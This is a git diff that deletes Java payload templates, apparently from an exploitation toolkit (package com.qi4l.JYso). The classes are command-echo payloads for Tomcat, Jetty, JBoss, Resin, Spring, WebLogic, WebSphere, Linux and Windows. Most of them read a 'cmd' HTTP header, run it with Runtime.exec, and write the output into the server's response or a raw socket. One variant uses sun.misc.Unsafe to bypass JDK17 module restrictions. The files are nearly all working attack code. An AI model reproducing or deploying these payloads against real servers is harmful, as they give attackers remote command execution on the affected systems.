p = (javax.servlet.http.HttpServletResponse) r.getClass().getMethod("getResponse", new Class[]{}).invoke(r, new Object[]{});
|
||||
} catch (Exception e) {
|
||||
r = null;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (r != null && p != null) {
|
||||
try {
|
||||
try {
|
||||
p.getWriter().println(q(r.getHeader(CMD_HEADER)));
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
p.getWriter().flush();
|
||||
p.getWriter().close();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
return;
|
||||
}
|
||||
F(o, depth + 1);
|
||||
}
|
||||
}
|
||||
|
||||
public static java.io.ByteArrayOutputStream q(String cmd) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
@@ -1,68 +0,0 @@
|
||||
package com.qi4l.JYso.template.echoConstructor;
|
||||
|
||||
public class CJbossEcho {
|
||||
|
||||
public static String CMD_HEADER = "cmd";
|
||||
|
||||
public CJbossEcho() {
|
||||
try {
|
||||
Object req = javax.security.jacc.PolicyContext.getContext("javax.servlet.http.HttpServletRequest");
|
||||
String cmd = getMethodAndInvoke(req, "getHeader", new Class[]{String.class}, new Object[]{CMD_HEADER}).toString();
|
||||
|
||||
if (cmd != null && !cmd.isEmpty()) {
|
||||
java.io.ByteArrayOutputStream baos = q(cmd);
|
||||
|
||||
try {
|
||||
// 高版本底层是 undertow
|
||||
Class.forName("io.undertow.servlet.spec.HttpServletRequestImpl");
|
||||
Object exchange = getMethodAndInvoke(req, "getExchange", new Class[]{}, new Object[]{});
|
||||
java.io.OutputStream os = (java.io.OutputStream) getMethodAndInvoke(exchange, "getOutputStream", new Class[]{}, new Object[]{});
|
||||
os.write(baos.toByteArray());
|
||||
os.close();
|
||||
} catch (ClassNotFoundException ignored) {
|
||||
Object response = getMethodAndInvoke(req, "getResponse", new Class[]{}, new Object[]{});
|
||||
if (response == null) {
|
||||
java.lang.reflect.Field field = req.getClass().getDeclaredField("request");
|
||||
field.setAccessible(true);
|
||||
response = getMethodAndInvoke(field.get(req), "getResponse", new Class[]{}, new Object[]{});
|
||||
|
||||
}
|
||||
Object writer = getMethodAndInvoke(response, "getWriter", new Class[]{}, new Object[]{});
|
||||
getMethodAndInvoke(writer, "write", new Class[]{String.class}, new Object[]{baos.toString()});
|
||||
getMethodAndInvoke(writer, "flush", new Class[]{}, new Object[]{});
|
||||
getMethodAndInvoke(writer, "close", new Class[]{}, new Object[]{});
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
public static java.io.ByteArrayOutputStream q(String cmd) {
|
||||
return null;
|
||||
}
|
||||
|
||||
public static java.lang.reflect.Method getMethodByClass(Class cs, String methodName, Class[] parameters) {
|
||||
java.lang.reflect.Method method = null;
|
||||
while (cs != null) {
|
||||
try {
|
||||
method = cs.getDeclaredMethod(methodName, parameters);
|
||||
method.setAccessible(true);
|
||||
cs = null;
|
||||
} catch (Exception e) {
|
||||
cs = cs.getSuperclass();
|
||||
}
|
||||
}
|
||||
return method;
|
||||
}
|
||||
|
||||
public static Object getMethodAndInvoke(Object obj, String methodName, Class[] parameterClass, Object[] parameters) {
|
||||
try {
|
||||
java.lang.reflect.Method method = getMethodByClass(obj.getClass(), methodName, parameterClass);
|
||||
if (method != null)
|
||||
return method.invoke(obj, parameters);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,77 +0,0 @@
|
||||
package com.qi4l.JYso.template.echoConstructor;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
|
||||
public class CJettyEcho {
|
||||
|
||||
public static String CMD_HEADER;
|
||||
|
||||
public CJettyEcho() {
|
||||
try {
|
||||
Class clazz = Thread.currentThread().getClass();
|
||||
java.lang.reflect.Field field = clazz.getDeclaredField("threadLocals");
|
||||
field.setAccessible(true);
|
||||
Object obj = field.get(Thread.currentThread());
|
||||
|
||||
field = obj.getClass().getDeclaredField("table");
|
||||
field.setAccessible(true);
|
||||
obj = field.get(obj);
|
||||
|
||||
Object[] obj_arr = (Object[]) obj;
|
||||
for (int i = 0; i < obj_arr.length; i++) {
|
||||
Object o = obj_arr[i];
|
||||
if (o == null) continue;
|
||||
|
||||
field = o.getClass().getDeclaredField("value");
|
||||
field.setAccessible(true);
|
||||
obj = field.get(o);
|
||||
|
||||
if (obj != null && obj.getClass().getName().endsWith("AsyncHttpConnection")) {
|
||||
Object connection = obj;
|
||||
java.lang.reflect.Method method = connection.getClass().getMethod("getRequest", (Class<?>) null);
|
||||
obj = method.invoke(connection, (Object) null);
|
||||
|
||||
method = obj.getClass().getMethod("getHeader", new Class[]{String.class});
|
||||
String cmd = (String) method.invoke(obj, new Object[]{"cmd"});
|
||||
|
||||
if (cmd != null && !cmd.isEmpty()) {
|
||||
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
|
||||
|
||||
method = connection.getClass().getMethod("getPrintWriter", new Class[]{String.class});
|
||||
java.io.PrintWriter printWriter = (java.io.PrintWriter) method.invoke(connection, new Object[]{"utf-8"});
|
||||
printWriter.println(res);
|
||||
}
|
||||
|
||||
break;
|
||||
} else if (obj != null && obj.getClass().getName().endsWith("HttpConnection")) {
|
||||
java.lang.reflect.Method method = obj.getClass().getDeclaredMethod("getHttpChannel", (Class<?>) null);
|
||||
Object httpChannel = method.invoke(obj, (Object) null);
|
||||
|
||||
method = httpChannel.getClass().getMethod("getRequest", (Class<?>) null);
|
||||
obj = method.invoke(httpChannel, (Object) null);
|
||||
|
||||
method = obj.getClass().getMethod("getHeader", new Class[]{String.class});
|
||||
String cmd = (String) method.invoke(obj, new Object[]{CMD_HEADER});
|
||||
if (cmd != null && !cmd.isEmpty()) {
|
||||
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
|
||||
|
||||
method = httpChannel.getClass().getMethod("getResponse", (Class<?>) null);
|
||||
obj = method.invoke(httpChannel, (Object) null);
|
||||
|
||||
method = obj.getClass().getMethod("getWriter", (Class<?>) null);
|
||||
java.io.PrintWriter printWriter = (java.io.PrintWriter) method.invoke(obj, (Object) null);
|
||||
printWriter.println(res);
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
public static ByteArrayOutputStream q(String cmd) {
|
||||
return null;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,47 +0,0 @@
|
||||
package com.qi4l.JYso.template.echoConstructor;
|
||||
|
||||
public class CLinuxEcho1 {
|
||||
|
||||
public CLinuxEcho1() {
|
||||
try {
|
||||
String command = "ls -l /proc/$PPID/fd|grep socket:|awk '{print $9}'";
|
||||
|
||||
java.util.List<String> list = new java.util.ArrayList<>();
|
||||
String[] cmd = new String[]{"/bin/sh", "-c", command};
|
||||
java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
|
||||
|
||||
String line;
|
||||
while ((line = br.readLine()) != null) {
|
||||
list.add(line);
|
||||
}
|
||||
|
||||
br.close();
|
||||
|
||||
java.lang.reflect.Constructor<java.io.FileDescriptor> c = java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE});
|
||||
c.setAccessible(true);
|
||||
|
||||
for (String s : list) {
|
||||
Integer integer = Integer.parseInt(s);
|
||||
|
||||
try {
|
||||
cmd = new String[]{"/bin/sh", "-c", "ls -l"};
|
||||
br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
|
||||
|
||||
StringBuilder sb = new StringBuilder();
|
||||
while ((line = br.readLine()) != null) {
|
||||
sb.append(line + "\n");
|
||||
}
|
||||
|
||||
java.io.FileOutputStream os = new java.io.FileOutputStream(c.newInstance(integer));
|
||||
os.write(sb.toString().getBytes());
|
||||
|
||||
br.close();
|
||||
os.close();
|
||||
} catch (Exception e) {
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,66 +0,0 @@
|
||||
package com.qi4l.JYso.template.echoConstructor;
|
||||
|
||||
public class CLinuxEcho2 {
|
||||
|
||||
public CLinuxEcho2() {
|
||||
try {
|
||||
if (java.io.File.separator.equals("/")) {
|
||||
String command = "ls -al /proc/$PPID/fd|grep socket:|awk 'BEGIN{FS=\"[\"}''{print $2}'|sed 's/.$//'";
|
||||
String[] cmd = new String[]{"/bin/sh", "-c", command};
|
||||
java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
|
||||
java.util.List res1 = new java.util.ArrayList();
|
||||
String line = "";
|
||||
while ((line = br.readLine()) != null && !line.trim().isEmpty()) {
|
||||
res1.add(line);
|
||||
}
|
||||
br.close();
|
||||
|
||||
try {
|
||||
Thread.sleep((long) 2000);
|
||||
} catch (InterruptedException e) {
|
||||
//pass
|
||||
}
|
||||
|
||||
command = "ls -al /proc/$PPID/fd|grep socket:|awk '{print $9, $11}'";
|
||||
cmd = new String[]{"/bin/sh", "-c", command};
|
||||
br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
|
||||
java.util.List res2 = new java.util.ArrayList();
|
||||
while ((line = br.readLine()) != null && !line.trim().isEmpty()) {
|
||||
res2.add(line);
|
||||
}
|
||||
br.close();
|
||||
|
||||
int index = 0;
|
||||
int max = 0;
|
||||
for (int i = 0; i < res2.size(); i++) {
|
||||
try {
|
||||
String socketNo = ((String) res2.get(i)).split("\\s+")[1].substring(8);
|
||||
socketNo = socketNo.substring(0, socketNo.length() - 1);
|
||||
for (int j = 0; j < res1.size(); j++) {
|
||||
if (!socketNo.equals(res1.get(j))) continue;
|
||||
|
||||
if (Integer.parseInt(socketNo) > max) {
|
||||
max = Integer.parseInt(socketNo);
|
||||
index = j;
|
||||
}
|
||||
break;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
//pass
|
||||
}
|
||||
}
|
||||
|
||||
int fd = Integer.parseInt(((String) res2.get(index)).split("\\s")[0]);
|
||||
java.lang.reflect.Constructor c = java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE});
|
||||
c.setAccessible(true);
|
||||
cmd = new String[]{"/bin/sh", "-c", "id"};
|
||||
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
|
||||
String result = "HTTP/1.1 200 OK\nConnection: close\nContent-Length: " + res.length() + "\n\n" + res + "\n";
|
||||
java.io.FileOutputStream os = new java.io.FileOutputStream((java.io.FileDescriptor) c.newInstance(new Object[]{new Integer(fd)}));
|
||||
os.write(result.getBytes());
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,48 +0,0 @@
|
||||
package com.qi4l.JYso.template.echoConstructor;
|
||||
|
||||
public class CResinEcho {
|
||||
|
||||
public static String CMD_HEADER;
|
||||
|
||||
public CResinEcho() {
|
||||
try {
|
||||
Class clazz = Thread.currentThread().getClass();
|
||||
java.lang.reflect.Field field = clazz.getSuperclass().getDeclaredField("threadLocals");
|
||||
field.setAccessible(true);
|
||||
Object obj = field.get(Thread.currentThread());
|
||||
|
||||
field = obj.getClass().getDeclaredField("table");
|
||||
field.setAccessible(true);
|
||||
obj = field.get(obj);
|
||||
|
||||
Object[] obj_arr = (Object[]) obj;
|
||||
for (int i = 0; i < obj_arr.length; i++) {
|
||||
Object o = obj_arr[i];
|
||||
if (o == null) continue;
|
||||
|
||||
field = o.getClass().getDeclaredField("value");
|
||||
field.setAccessible(true);
|
||||
obj = field.get(o);
|
||||
|
||||
if (obj != null && obj.getClass().getName().equals("com.caucho.server.http.HttpRequest")) {
|
||||
com.caucho.server.http.HttpRequest httpRequest = (com.caucho.server.http.HttpRequest) obj;
|
||||
String cmd = httpRequest.getHeader(CMD_HEADER);
|
||||
|
||||
if (cmd != null && !cmd.isEmpty()) {
|
||||
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
|
||||
com.caucho.server.http.HttpResponse httpResponse = httpRequest.createResponse();
|
||||
httpResponse.setHeader("Content-Length", res.length() + "");
|
||||
java.lang.reflect.Method method = httpResponse.getClass().getDeclaredMethod("createResponseStream", (Class<?>) null);
|
||||
method.setAccessible(true);
|
||||
com.caucho.server.http.HttpResponseStream httpResponseStream = (com.caucho.server.http.HttpResponseStream) method.invoke(httpResponse, (Object) null);
|
||||
httpResponseStream.write(res.getBytes(), 0, res.length());
|
||||
httpResponseStream.close();
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,28 +0,0 @@
|
||||
package com.qi4l.JYso.template.echoConstructor;
|
||||
|
||||
public class CSpringEcho {
|
||||
|
||||
public static String CMD_HEADER;
|
||||
|
||||
public CSpringEcho() {
|
||||
|
||||
try {
|
||||
org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();
|
||||
javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();
|
||||
javax.servlet.http.HttpServletResponse response = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();
|
||||
String cmd = request.getHeader(CMD_HEADER);
|
||||
if (cmd != null && !cmd.isEmpty()) {
|
||||
response.getWriter().write(new String(q(cmd).toByteArray()));
|
||||
}
|
||||
response.getWriter().flush();
|
||||
response.getWriter().close();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public static java.io.ByteArrayOutputStream q(String cmd) {
|
||||
return null;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,82 +0,0 @@
|
||||
package com.qi4l.JYso.template.echoConstructor;
|
||||
|
||||
// 回显类在jdk17下的改造,解决JDK17下只能加载一次的问题
|
||||
public class CTomcatEcho {
|
||||
public static String CMD_HEADER;
|
||||
|
||||
public CTomcatEcho() {
|
||||
try {
|
||||
boolean flag = false;
|
||||
ThreadGroup group = Thread.currentThread().getThreadGroup();
|
||||
ClassLoader loader = Thread.currentThread().getContextClassLoader();
|
||||
java.lang.reflect.Field f = group.getClass().getDeclaredField("threads");
|
||||
f.setAccessible(true);
|
||||
Thread[] threads = (Thread[]) f.get(group);
|
||||
for (int i = 0; i < threads.length; i++) {
|
||||
try {
|
||||
Thread t = threads[i];
|
||||
if (t == null) continue;
|
||||
String str = t.getName();
|
||||
if (str.contains("exec") || !str.contains("http")) continue;
|
||||
f = t.getClass().getDeclaredField("target");
|
||||
f.setAccessible(true);
|
||||
Object obj = f.get(t);
|
||||
if (!(obj instanceof Runnable)) continue;
|
||||
f = obj.getClass().getDeclaredField("this$0");
|
||||
f.setAccessible(true);
|
||||
obj = f.get(obj);
|
||||
try {
|
||||
f = obj.getClass().getDeclaredField("handler");
|
||||
} catch (NoSuchFieldException e) {
|
||||
f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");
|
||||
}
|
||||
f.setAccessible(true);
|
||||
obj = f.get(obj);
|
||||
try {
|
||||
f = obj.getClass().getSuperclass().getDeclaredField("global");
|
||||
} catch (NoSuchFieldException e) {
|
||||
f = obj.getClass().getDeclaredField("global");
|
||||
}
|
||||
f.setAccessible(true);
|
||||
obj = f.get(obj);
|
||||
f = obj.getClass().getDeclaredField("processors");
|
||||
f.setAccessible(true);
|
||||
java.util.List processors = (java.util.List) (f.get(obj));
|
||||
for (int j = 0; j < processors.size(); ++j) {
|
||||
Object processor = processors.get(j);
|
||||
f = processor.getClass().getDeclaredField("req");
|
||||
f.setAccessible(true);
|
||||
Object req = f.get(processor);
|
||||
Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req);
|
||||
str = (String) req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{CMD_HEADER});
|
||||
if (str != null && !str.isEmpty()) {
|
||||
resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Integer(200));
|
||||
java.io.ByteArrayOutputStream baos = q(str);
|
||||
try {
|
||||
Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk", false, loader);
|
||||
obj = cls.newInstance();
|
||||
cls.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(obj, baos.toByteArray(), new Integer(0), baos.toByteArray().length);
|
||||
resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, obj);
|
||||
} catch (NoSuchMethodException var5) {
|
||||
Class cls = Class.forName("java.nio.ByteBuffer", false, loader);
|
||||
obj = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{baos.toByteArray()});
|
||||
resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, obj);
|
||||
}
|
||||
flag = true;
|
||||
}
|
||||
if (flag) break;
|
||||
}
|
||||
if (flag) break;
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
public static java.io.ByteArrayOutputStream q(String cmd) {
|
||||
return null;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,59 +0,0 @@
|
||||
package com.qi4l.JYso.template.echoConstructor;
|
||||
|
||||
public class CWindowsEcho {
|
||||
|
||||
public CWindowsEcho() {
|
||||
try {
|
||||
if (java.io.File.separator.equals("\\")) {
|
||||
java.lang.reflect.Field field = java.io.FileDescriptor.class.getDeclaredField("fd");
|
||||
field.setAccessible(true);
|
||||
|
||||
Class clazz1 = Class.forName("sun.nio.ch.Net");
|
||||
java.lang.reflect.Method method1 = clazz1.getDeclaredMethod("remoteAddress", new Class[]{java.io.FileDescriptor.class});
|
||||
method1.setAccessible(true);
|
||||
|
||||
Class clazz2 = Class.forName("java.net.SocketOutputStream", false, null);
|
||||
java.lang.reflect.Constructor constructor2 = clazz2.getDeclaredConstructors()[0];
|
||||
constructor2.setAccessible(true);
|
||||
|
||||
Class clazz3 = Class.forName("java.net.PlainSocketImpl");
|
||||
java.lang.reflect.Constructor constructor3 = clazz3.getDeclaredConstructor(new Class[]{java.io.FileDescriptor.class});
|
||||
constructor3.setAccessible(true);
|
||||
|
||||
java.lang.reflect.Method write = clazz2.getDeclaredMethod("write", new Class[]{byte[].class});
|
||||
write.setAccessible(true);
|
||||
|
||||
java.net.InetSocketAddress remoteAddress = null;
|
||||
java.util.List list = new java.util.ArrayList();
|
||||
java.io.FileDescriptor fileDescriptor = new java.io.FileDescriptor();
|
||||
for (int i = 0; i < 50000; i++) {
|
||||
field.set((Object) fileDescriptor, (Object) (new Integer(i)));
|
||||
try {
|
||||
remoteAddress = (java.net.InetSocketAddress) method1.invoke(null, new Object[]{fileDescriptor});
|
||||
if (remoteAddress.toString().startsWith("/127.0.0.1")) continue;
|
||||
if (remoteAddress.toString().startsWith("/0:0:0:0:0:0:0:1")) continue;
|
||||
list.add(new Integer(i));
|
||||
|
||||
} catch (Exception e) {
|
||||
}
|
||||
}
|
||||
|
||||
for (int i = list.size() - 1; i >= 0; i--) {
|
||||
try {
|
||||
field.set((Object) fileDescriptor, list.get(i));
|
||||
Object socketOutputStream = constructor2.newInstance(new Object[]{constructor3.newInstance(new Object[]{fileDescriptor})});
|
||||
String[] cmd = new String[]{"cmd", "/C", "whoami"};
|
||||
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next().trim();
|
||||
String result = "HTTP/1.1 200 OK\nConnection: close\nContent-Length: " + (res.length()) + "\n\n" + res + "\n\n";
|
||||
write.invoke(socketOutputStream, new Object[]{result.getBytes()});
|
||||
break;
|
||||
} catch (Exception e) {
|
||||
//pass
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,39 +0,0 @@
|
||||
package com.qi4l.JYso.template.echoConstructor;
|
||||
|
||||
public class CweblogicEcho {
|
||||
|
||||
public static String CMD_HEADER;
|
||||
|
||||
public CweblogicEcho() {
|
||||
try {
|
||||
weblogic.work.WorkAdapter adapter = ((weblogic.work.ExecuteThread) Thread.currentThread()).getCurrentWork();
|
||||
if (adapter.getClass().getName().endsWith("ServletRequestImpl")) {
|
||||
String cmd = (String) adapter.getClass().getMethod("getHeader", String.class).invoke(adapter, CMD_HEADER);
|
||||
|
||||
if (cmd != null && !cmd.isEmpty()) {
|
||||
String result = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
|
||||
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) adapter.getClass().getMethod("getResponse").invoke(adapter);
|
||||
res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
|
||||
res.getServletOutputStream().flush();
|
||||
res.getWriter().write("");
|
||||
}
|
||||
} else {
|
||||
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
|
||||
field.setAccessible(true);
|
||||
Object obj = field.get(adapter);
|
||||
obj = obj.getClass().getMethod("getServletRequest").invoke(obj);
|
||||
String cmd = (String) obj.getClass().getMethod("getHeader", String.class).invoke(obj, "cmd");
|
||||
|
||||
if (cmd != null && !cmd.isEmpty()) {
|
||||
String result = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
|
||||
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) obj.getClass().getMethod("getResponse").invoke(obj);
|
||||
res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
|
||||
res.getServletOutputStream().flush();
|
||||
res.getWriter().write("");
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,44 +0,0 @@
|
||||
package com.qi4l.JYso.template.echoConstructor;
|
||||
|
||||
import java.io.OutputStream;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.utils.Reflections.getFieldValue;
|
||||
|
||||
public class CwebsphereEcho {
|
||||
|
||||
public CwebsphereEcho() {
|
||||
try {
|
||||
Class clazz = Thread.currentThread().getClass();
|
||||
java.lang.reflect.Field field = clazz.getDeclaredField("wsThreadLocals");
|
||||
field.setAccessible(true);
|
||||
Object obj = field.get(Thread.currentThread());
|
||||
|
||||
Object[] obj_arr = (Object[]) obj;
|
||||
for (int i = 0; i < obj_arr.length; i++) {
|
||||
Object o = obj_arr[i];
|
||||
if (o == null) continue;
|
||||
|
||||
if (o.getClass().getName().endsWith("WebContainerRequestState")) {
|
||||
Object req = o.getClass().getMethod("getCurrentThreadsIExtendedRequest", new Class[0]).invoke(o, new Object[0]);
|
||||
Object resp = o.getClass().getMethod("getCurrentThreadsIExtendedResponse", new Class[0]).invoke(o, new Object[0]);
|
||||
|
||||
String cmd = (String) req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{"cmd"});
|
||||
if (cmd != null && !cmd.isEmpty()) {
|
||||
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
|
||||
|
||||
//java.io.PrintWriter printWriter = (java.io.PrintWriter) resp.getClass().getMethod("getWriter", new Class[0]).invoke(resp, new Object[0]);
|
||||
//printWriter.println(res);
|
||||
|
||||
// 解决只读一次的问题
|
||||
OutputStream outputStream = (OutputStream) getFieldValue(resp, "_bufferedOut");
|
||||
outputStream.flush();
|
||||
outputStream.write(res.getBytes());
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,107 +0,0 @@
|
||||
package com.qi4l.JYso.template.echoJDK17;
|
||||
|
||||
import sun.misc.Unsafe;
|
||||
|
||||
import java.lang.reflect.Field;
|
||||
|
||||
// 回显类在jdk17下的改造,解决JDK17下只能加载一次的问题
|
||||
public class CTomcatEcho17 {
|
||||
public static String CMD_HEADER;
|
||||
|
||||
public CTomcatEcho17() {
|
||||
Object originalModule = patchModule(this.getClass(), null);
|
||||
|
||||
try {
|
||||
boolean flag = false;
|
||||
ThreadGroup group = Thread.currentThread().getThreadGroup();
|
||||
ClassLoader loader = Thread.currentThread().getContextClassLoader();
|
||||
Field f = group.getClass().getDeclaredField("threads");
|
||||
f.setAccessible(true);
|
||||
Thread[] threads = (Thread[]) f.get(group);
|
||||
for (int i = 0; i < threads.length; i++) {
|
||||
try {
|
||||
Thread t = threads[i];
|
||||
if (t == null) continue;
|
||||
String str = t.getName();
|
||||
if (str.contains("exec") || !str.contains("http")) continue;
|
||||
f = t.getClass().getDeclaredField("target");
|
||||
f.setAccessible(true);
|
||||
Object obj = f.get(t);
|
||||
if (!(obj instanceof Runnable)) continue;
|
||||
f = obj.getClass().getDeclaredField("this$0");
|
||||
f.setAccessible(true);
|
||||
obj = f.get(obj);
|
||||
try {
|
||||
f = obj.getClass().getDeclaredField("handler");
|
||||
} catch (NoSuchFieldException e) {
|
||||
f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");
|
||||
}
|
||||
f.setAccessible(true);
|
||||
obj = f.get(obj);
|
||||
try {
|
||||
f = obj.getClass().getSuperclass().getDeclaredField("global");
|
||||
} catch (NoSuchFieldException e) {
|
||||
f = obj.getClass().getDeclaredField("global");
|
||||
}
|
||||
f.setAccessible(true);
|
||||
obj = f.get(obj);
|
||||
f = obj.getClass().getDeclaredField("processors");
|
||||
f.setAccessible(true);
|
||||
java.util.List processors = (java.util.List) (f.get(obj));
|
||||
for (int j = 0; j < processors.size(); ++j) {
|
||||
Object processor = processors.get(j);
|
||||
f = processor.getClass().getDeclaredField("req");
|
||||
f.setAccessible(true);
|
||||
Object req = f.get(processor);
|
||||
Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req);
|
||||
str = (String) req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{CMD_HEADER});
|
||||
if (str != null && !str.isEmpty()) {
|
||||
resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Integer(200));
|
||||
java.io.ByteArrayOutputStream baos = q(str);
|
||||
try {
|
||||
Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk", false, loader);
|
||||
obj = cls.newInstance();
|
||||
cls.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(obj, baos.toByteArray(), new Integer(0), baos.toByteArray().length);
|
||||
resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, obj);
|
||||
} catch (NoSuchMethodException var5) {
|
||||
Class cls = Class.forName("java.nio.ByteBuffer", false, loader);
|
||||
obj = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{baos.toByteArray()});
|
||||
resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, obj);
|
||||
}
|
||||
flag = true;
|
||||
}
|
||||
if (flag) break;
|
||||
}
|
||||
if (flag) break;
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
} catch (Exception ignored) {
|
||||
} finally {
|
||||
patchModule(this.getClass(), originalModule);
|
||||
}
|
||||
}
|
||||
|
||||
public static java.io.ByteArrayOutputStream q(String cmd) {
|
||||
return null;
|
||||
}
|
||||
|
||||
private Object patchModule(Class clazz, Object originalModule) {
|
||||
try {
|
||||
Class UnsafeClass = Class.forName("sun.misc.Unsafe");
|
||||
Field unsafeField = UnsafeClass.getDeclaredField("theUnsafe");
|
||||
unsafeField.setAccessible(true);
|
||||
Unsafe unsafe = (Unsafe) unsafeField.get(null);
|
||||
if (originalModule == null) {
|
||||
originalModule = Class.class.getMethod("getModule").invoke(Object.class);
|
||||
}
|
||||
Class currentClass = clazz;
|
||||
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
|
||||
return unsafe.getAndSetObject(currentClass, addr, originalModule);
|
||||
} catch (Exception e) {
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,88 +0,0 @@
|
||||
package com.qi4l.JYso.template.echoStatic;
|
||||
|
||||
public class AllEcho {
|
||||
public static String CMD_HEADER = "cmd";
|
||||
|
||||
public static java.util.HashSet<Object> h = new java.util.HashSet<Object>();
|
||||
|
||||
public static javax.servlet.http.HttpServletRequest r = null;
|
||||
|
||||
public static javax.servlet.http.HttpServletResponse p = null;
|
||||
|
||||
static {
|
||||
F(Thread.currentThread(), 0);
|
||||
}
|
||||
|
||||
private static boolean i(Object obj) {
|
||||
if (obj == null || h.contains(obj)) {
|
||||
return true;
|
||||
}
|
||||
h.add(obj);
|
||||
return false;
|
||||
}
|
||||
|
||||
private static void F(Object start, int depth) {
|
||||
Class<?> n = start.getClass();
|
||||
do {
|
||||
java.lang.reflect.Field f = null;
|
||||
int l = n.getDeclaredFields().length;
|
||||
for (int i = 0; i < l; i++) {
|
||||
f = n.getDeclaredFields()[i];
|
||||
f.setAccessible(true);
|
||||
Object o = null;
|
||||
try {
|
||||
o = f.get(start);
|
||||
if (!o.getClass().isArray()) {
|
||||
p(o, depth);
|
||||
} else {
|
||||
Object q = null;
|
||||
Object[] objs = (Object[]) o;
|
||||
int len = java.lang.reflect.Array.getLength(o);
|
||||
for (int j = 0; j < len; j++) {
|
||||
q = objs[j];
|
||||
p(q, depth);
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
} while ((n = n.getSuperclass()) != null);
|
